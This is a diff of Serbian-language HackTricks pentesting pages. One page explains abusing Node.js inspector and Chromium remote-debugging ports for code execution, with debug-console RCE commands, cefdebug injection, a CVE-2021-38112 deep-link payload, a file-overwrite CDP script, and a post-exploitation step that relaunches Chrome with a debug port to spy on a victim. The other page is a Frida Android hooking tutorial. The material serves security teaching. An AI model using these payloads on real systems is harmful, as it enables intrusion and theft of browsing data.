* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# Zloupotreba Node inspektora/CEF debugovanja # Node inspector/CEF debug abuse
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne informacije ## Basic Information
[Od dokumentacije](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Kada se pokrene sa `--inspect` prekidačem, Node.js proces osluškuje za debug klijenta. Podrazumevano, osluškuje na hostu i portu **`127.0.0.1:9229`**. Svaki proces takođe dobija **jedinstveni** **UUID**. [From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Kada se pokrene sa `--inspect` preklopnikom, Node.js proces sluša za klijentom za debagovanje. Po **defaultu**, sluša na adresi i portu **`127.0.0.1:9229`**. Svakom procesu je takođe dodeljen **jedinstveni** **UUID**.
Inspektor klijenti moraju znati i specificirati adresu hosta, port i UUID za povezivanje. Ceo URL će izgledati nešto kao `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. Klijenti inspektora moraju znati i odrediti adresu hosta, port i UUID za povezivanje. Puna URL adresa će izgledati otprilike kao `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
{% hint style="warning" %} {% hint style="warning" %}
Pošto **debuger ima pun pristup Node.js izvršnom okruženju**, zlonamerni akter koji može da se poveže na ovaj port može izvršiti proizvoljan kod u ime Node.js procesa (**potencijalno eskalacija privilegija**). Pošto **debugger ima pun pristup Node.js okruženju za izvršavanje**, zlonamerna osoba koja može da se poveže na ovaj port može biti u mogućnosti da izvrši proizvoljan kod u ime Node.js procesa (**potencijalna eskalacija privilegija**).
{% endhint %} {% endhint %}
Postoji nekoliko načina za pokretanje inspektora: Postoji nekoliko načina za pokretanje inspektora:
@ -35,50 +36,50 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
``` ```
Kada pokrenete proces koji se inspicira, pojaviće se nešto slično ovome: Kada pokrenete inspekcijski proces, nešto poput ovoga će se pojaviti:
``` ```
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector For help, see: https://nodejs.org/en/docs/inspector
``` ```
Procesi zasnovani na **CEF** (**Chromium Embedded Framework**) poput potrebe da koriste parametar: `--remote-debugging-port=9222` da bi otvorili **debugger** (zaštite od SSRF ostaju vrlo slične). Međutim, umesto dodeljivanja **NodeJS** **debug** sesije, oni će komunicirati sa pregledačem koristeći [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), ovo je interfejs za kontrolu pregledača, ali nema direktnog RCE. Procesi zasnovani na **CEF** (**Chromium Embedded Framework**) treba da koriste parametar: `--remote-debugging-port=9222` da bi otvorili **debugger** (zaštite od SSRF ostaju veoma slične). Međutim, oni **umesto** davanja **NodeJS** **debug** sesije će komunicirati sa pregledačem koristeći [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), ovo je interfejs za kontrolu pregledača, ali ne postoji direktan RCE.
Kada pokrenete pregledač u režimu za debagovanje, nešto slično ovome će se pojaviti: Kada pokrenete debagovani pregledač, nešto poput ovoga će se pojaviti:
``` ```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
``` ```
### Preglednici, WebSockets i politika istog porekla <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a> ### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
Veb-sajtovi otvoreni u veb-pregledaču mogu da vrše WebSocket i HTTP zahteve u okviru bezbednosnog modela pregledača. **Početna HTTP veza** je neophodna da bi se **dobio jedinstveni ID sesije za debager**. **Politika istog porekla** **sprečava** veb-sajtove da mogu da naprave **ovu HTTP vezu**. Radi dodatne bezbednosti protiv [**DNS preusmeravanja napada**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js proverava da li **'Host' zaglavlja** za vezu precizno navode **IP adresu** ili **`localhost`** ili **`localhost6`**. Veb-sajtovi otvoreni u veb-pretraživaču mogu da prave WebSocket i HTTP zahteve pod modelom bezbednosti pretraživača. **Početna HTTP veza** je neophodna da bi se **dobio jedinstveni ID sesije debagera**. **Politika iste porekla** **sprečava** veb-sajtove da mogu da naprave **ovu HTTP vezu**. Za dodatnu bezbednost protiv [**DNS rebinding napada**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js proverava da li **'Host' zaglavlja** za vezu ili specificiraju **IP adresu** ili **`localhost`** ili **`localhost6`** tačno.
{% hint style="info" %} {% hint style="info" %}
Ove **bezbednosne mere sprečavaju iskorišćavanje inspektora** za izvršavanje koda samo slanjem HTTP zahteva (što bi se moglo uraditi iskorišćavanjem SSRF ranjivosti). Ove **bezbednosne mere sprečavaju korišćenje inspektora** za pokretanje koda **samo slanjem HTTP zahteva** (što bi moglo biti učinjeno iskorišćavanjem SSRF ranjivosti).
{% endhint %} {% endhint %}
### Pokretanje inspektora u pokrenutim procesima ### Starting inspector in running processes
Možete poslati **signal SIGUSR1** pokrenutom nodejs procesu da bi se **pokrenuo inspektor** na podrazumevanom portu. Međutim, imajte na umu da je potrebno imati dovoljno privilegija, pa ovo može omogućiti pristup **privilegovanim informacijama unutar procesa** ali ne i direktnu eskalaciju privilegija. Možete poslati **signal SIGUSR1** pokrenutom nodejs procesu da bi **pokrenuo inspektora** na podrazumevanom portu. Međutim, imajte na umu da morate imati dovoljno privilegija, tako da ovo može omogućiti **privilegovan pristup informacijama unutar procesa** ali ne i direktnu eskalaciju privilegija.
```bash ```bash
kill -s SIGUSR1 <nodejs-ps> kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
``` ```
{% hint style="info" %} {% hint style="info" %}
Ovo je korisno u kontejnerima jer **gašenje procesa i pokretanje novog** sa `--inspect` nije **opcija** jer će **kontejner** biti **ubijen** sa procesom. Ovo je korisno u kontejnerima jer **gašenje procesa i pokretanje novog** sa `--inspect` **nije opcija** jer će **kontejner** biti **ubijen** zajedno sa procesom.
{% endhint %} {% endhint %}
### Povezivanje sa inspektorom/debugerom ### Povezivanje sa inspektorom/debuggerom
Da biste se povezali sa **Chromium-based browserom**, možete pristupiti URL-ovima `chrome://inspect` ili `edge://inspect` za Chrome odnosno Edge. Klikom na dugme Configure, treba se osigurati da su **ciljni host i port** ispravno navedeni. Slika prikazuje primer Remote Code Execution (RCE): Da biste se povezali sa **pregledačem zasnovanim na Chromium-u**, možete pristupiti URL-ovima `chrome://inspect` ili `edge://inspect` za Chrome ili Edge, respektivno. Klikom na dugme Konfiguriši, treba osigurati da su **ciljni host i port** ispravno navedeni. Slika prikazuje primer daljinskog izvršavanja koda (RCE):
![](<../../.gitbook/assets/image (674).png>) ![](<../../.gitbook/assets/image (674).png>)
Korišćenjem **komandne linije** možete se povezati sa debuggerom/inspektorom pomoću: Korišćenjem **komandne linije** možete se povezati sa debuggerom/inspektorom sa:
```bash ```bash
node inspect <ip>:<port> node inspect <ip>:<port>
node inspect 127.0.0.1:9229 node inspect 127.0.0.1:9229
# RCE example from debug console # RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
``` ```
Alatka [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), omogućava **pronalaženje inspektora** koji se izvršavaju lokalno i **ubacivanje koda** u njih. Alat [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) omogućava **pronalazak inspektora** koji se izvode lokalno i **ubacivanje koda** u njih.
```bash ```bash
#List possible vulnerable sockets #List possible vulnerable sockets
./cefdebug.exe ./cefdebug.exe
@ -88,16 +89,16 @@ Alatka [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdeb
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
``` ```
{% hint style="info" %} {% hint style="info" %}
Imajte na umu da **NodeJS RCE eksploatacije neće raditi** ako ste povezani sa pregledačem putem [**Chrome DevTools Protocola**](https://chromedevtools.github.io/devtools-protocol/) (treba da proverite API da biste pronašli zanimljive stvari koje možete s njim uraditi). Napomena: **NodeJS RCE eksploatiacije neće raditi** ako je povezan sa pregledačem putem [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (trebalo bi da proverite API da biste pronašli zanimljive stvari koje možete raditi sa njim).
{% endhint %} {% endhint %}
## RCE u NodeJS Debugger/Inspector-u ## RCE u NodeJS Debuggeru/Inspektoru
{% hint style="info" %} {% hint style="info" %}
Ako ste ovde došli tražeći kako da dobijete **RCE putem XSS u Electronu, molimo proverite ovu stranicu.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) Ako ste došli ovde tražeći kako da dobijete [**RCE iz XSS u Electron, molimo proverite ovu stranicu.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endhint %} {% endhint %}
Neke uobičajene metode za dobijanje **RCE** kada možete **povezati** se na Node **inspektor** su korišćenje nečega poput (izgleda da ovo **neće raditi u vezi sa Chrome DevTools protokolom**): Neki uobičajeni načini za dobijanje **RCE** kada možete **povezati** sa Node **inspektorom** su korišćenje nečega poput (izgleda da ovo **neće raditi u vezi sa Chrome DevTools protokolom**):
```javascript ```javascript
process.mainModule.require('child_process').exec('calc') process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
@ -107,21 +108,23 @@ Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
## Chrome DevTools Protocol Payloads ## Chrome DevTools Protocol Payloads
Možete proveriti API ovde: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ Možete proveriti API ovde: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
U odeljku ću samo navesti zanimljive stvari koje sam pronašao da su ljudi koristili za iskorišćavanje ovog protokola. U ovom odeljku ću samo navesti zanimljive stvari koje sam primetio da su ljudi koristili za eksploataciju ovog protokola.
### Ubacivanje parametara putem dubokih veza ### Parameter Injection via Deep Links
U [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino Security je otkrio da je aplikacija zasnovana na CEF **registrovala prilagođeni URI** u sistemu (workspaces://) koji je primao puni URI, a zatim **pokretao CEF zasnovanu aplikaciju** sa konfiguracijom koja je delimično konstruisana iz tog URI-ja. U [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security je otkrio da je aplikacija zasnovana na CEF **registrovala prilagođeni UR**I u sistemu (workspaces://) koji je primao puni URI i zatim **pokretao CEF zasnovanu aplikaciju** sa konfiguracijom koja je delimično konstruisana iz tog URI-ja.
Otkriveno je da su parametri URI-ja dekodirani URL-om i korišćeni za pokretanje osnovne CEF aplikacije, omogućavajući korisniku da **ubaci** zastavicu **`--gpu-launcher`** u **komandnoj liniji** i izvrši proizvoljne radnje. Otkriveno je da su URI parametri bili URL dekodirani i korišćeni za pokretanje CEF osnovne aplikacije, omogućavajući korisniku da **ubaci** flag **`--gpu-launcher`** u **komandnu liniju** i izvrši proizvoljne stvari.
Dakle, payload poput: Dakle, payload kao:
``` ```
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
``` ```
### Prepisivanje fajlova Will execute a calc.exe.
Promenite folder gde će **preuzeti fajlovi biti sačuvani** i preuzmite fajl da **prepiset** često korišćeni **izvorni kod** aplikacije sa vašim **zlonamernim kodom**. ### Overwrite Files
Promenite fasciklu u kojoj će **preuzeti fajlovi biti sačuvani** i preuzmite fajl da **prepišete** često korišćeni **izvorni kod** aplikacije sa vašim **malicioznim kodom**.
```javascript ```javascript
ws = new WebSocket(url); //URL of the chrome devtools service ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({ ws.send(JSON.stringify({
@ -133,19 +136,19 @@ downloadPath: '/code/'
} }
})); }));
``` ```
### Webdriver RCE i ekstrakcija podataka ### Webdriver RCE i eksfiltracija
Prema ovom postu: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) moguće je dobiti RCE i ekstraktovati interne stranice iz therivera. Prema ovom postu: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) moguće je dobiti RCE i eksfiltrirati interne stranice iz theriver.
### Post-Eksploatacija ### Post-eksploatacija
U stvarnom okruženju i **nakon kompromitovanja** korisnikovog računara koji koristi Chrome/Chromium bazirani pregledač, mogli biste pokrenuti Chrome proces sa **aktiviranim debagovanjem i proslediti port za debagovanje** kako biste mu pristupili. Na ovaj način ćete moći **inspekcijom pratiti sve što žrtva radi sa Chrome-om i ukrasti osetljive informacije**. U pravom okruženju i **nakon kompromitovanja** korisničkog računara koji koristi Chrome/Chromium baziran pretraživač, mogli biste pokrenuti Chrome proces sa **aktiviranim debagovanjem i preusmeriti debag port** kako biste mu pristupili. Na ovaj način ćete moći da **inspektujete sve što žrtva radi sa Chrome-om i ukradete osetljive informacije**.
Neprimetan način je **završiti svaki Chrome proces** a zatim pozvati nešto poput Tajni način je da **prekinete svaki Chrome proces** i zatim pozovete nešto poput
```bash ```bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
``` ```
## Reference ## References
* [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s) * [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s)
* [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) * [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug)
@ -158,16 +161,17 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves) * [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)
* [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/) * [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,35 +1,38 @@
# Frida Tutorijal 2 # Frida Tutorial 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Savet za bug bounty**: **prijavite se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! **Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
**Ovo je sažetak posta**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Delovi 2, 3 & 4)\ **This is a summary of the post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APK-ovi i Izvorni kod**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) **APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
Deo 1 je veoma lak. Prvi deo je veoma lak.
**Neki delovi originalnog koda ne rade i ovde su modifikovani.** **Neki delovi originalnog koda ne rade i ovde su modifikovani.**
## Deo 2 ## Part 2
Ovde možete videti primer kako **hukovati 2 funkcije sa istim imenom** ali različitim parametrima.\ Ovde možete videti primer kako da **hook-ujete 2 funkcije sa istim imenom** ali različitim parametrima.\
Takođe, naučićete kako da **pozovete funkciju sa vašim sopstvenim parametrima**.\ Takođe, naučićete kako da **pozovete funkciju sa svojim parametrima**.\
I na kraju, primer kako **pronaći instancu klase i naterati je da pozove funkciju**. I na kraju, postoji primer kako da **pronađete instancu klase i naterate je da pozove funkciju**.
```javascript ```javascript
//s2.js //s2.js
console.log("Script loaded successfully "); console.log("Script loaded successfully ");
@ -64,7 +67,7 @@ onComplete: function () { }
}); });
}); });
``` ```
Možete videti da je za kreiranje Stringa prvo referencirana klasa _java.lang.String_, a zatim je kreiran _$new_ objekat te klase sa Stringom kao sadržajem. Ovo je ispravan način za kreiranje novog objekta klase. Međutim, u ovom slučaju, mogli biste jednostavno proslediti bilo koji String funkciji `this.fun()`, na primer: `this.fun("hey there!")` Možete videti da je za kreiranje String-a prvo referencirana klasa _java.lang.String_, a zatim je kreiran _$new_ objekat te klase sa String-om kao sadržajem. Ovo je ispravan način za kreiranje novog objekta klase. Ali, u ovom slučaju, mogli biste jednostavno proslediti `this.fun()` bilo koji String kao: `this.fun("hey there!")`
### Python ### Python
```python ```python
@ -91,7 +94,7 @@ python loader.py
### Python ### Python
Sada ćete videti kako da šaljete komande ka hakovanom aplikacijom putem Pythona da biste pozvali funkciju: Sada ćete videti kako da šaljete komande aplikaciji koja je uhvaćena putem Pythona da pozovete funkciju:
```python ```python
//loader.py //loader.py
import time import time
@ -122,9 +125,9 @@ script.exports.callsecretfunction()
elif command == "3": elif command == "3":
script.exports.hooksecretfunction() script.exports.hooksecretfunction()
``` ```
Komanda "**1**" će **izaći**, komanda "**2**" će pronaći i **instancirati klasu i pozvati privatnu funkciju** _**secret()**_ i komanda "**3**" će **zakačiti** funkciju _**secret()**_ tako da **vrati** drugačiji string. Komanda "**1**" će **izaći**, komanda "**2**" će pronaći i **instancirati klasu i pozvati privatnu funkciju** _**secret()**_, a komanda "**3**" će **hook-ovati** funkciju _**secret()**_ tako da **vrati** **drugi string**.
Zatim, ako pozovete "**2**" dobićete **pravi tajni podatak**, ali ako pozovete "**3**" a zatim "**2**" dobićete **lažni tajni podatak**. Dakle, ako pozovete "**2**" dobićete **pravi tajni podatak**, ali ako pozovete "**3**" a zatim "**2**" dobićete **lažni tajni podatak**.
### JS ### JS
```javascript ```javascript
@ -167,7 +170,7 @@ hooksecretfunction: hookSecret
``` ```
## Deo 4 ## Deo 4
Ovde ćete videti kako da **Python i JS komuniciraju** koristeći JSON objekte. JS koristi funkciju `send()` za slanje podataka klijentu u Pythonu, a Python koristi funkcije `post()` za slanje podataka JS skripti. **JS će blokirati izvršavanje** dok ne primi odgovor od Pythona. Ovde ćete videti kako da **Python i JS interaguju** koristeći JSON objekte. JS koristi `send()` funkciju da pošalje podatke Python klijentu, a Python koristi `post()` funkcije da pošalje podatke JS skripti. **JS će blokirati izvršenje** dok ne primi odgovor od Pythona.
### Python ### Python
```python ```python
@ -218,22 +221,25 @@ return this.setText(string_to_recv);
} }
}); });
``` ```
Postoji deo 5 koji neću objasniti jer nema ništa novo. Ali ako želite da pročitate, evo ga: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) Ima deo 5 koji neću objašnjavati jer nema ništa novo. Ali ako želite da pročitate, ovde je: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Savet za bug bounty**: **Prijavite se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! **Saveta za bug bounty**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
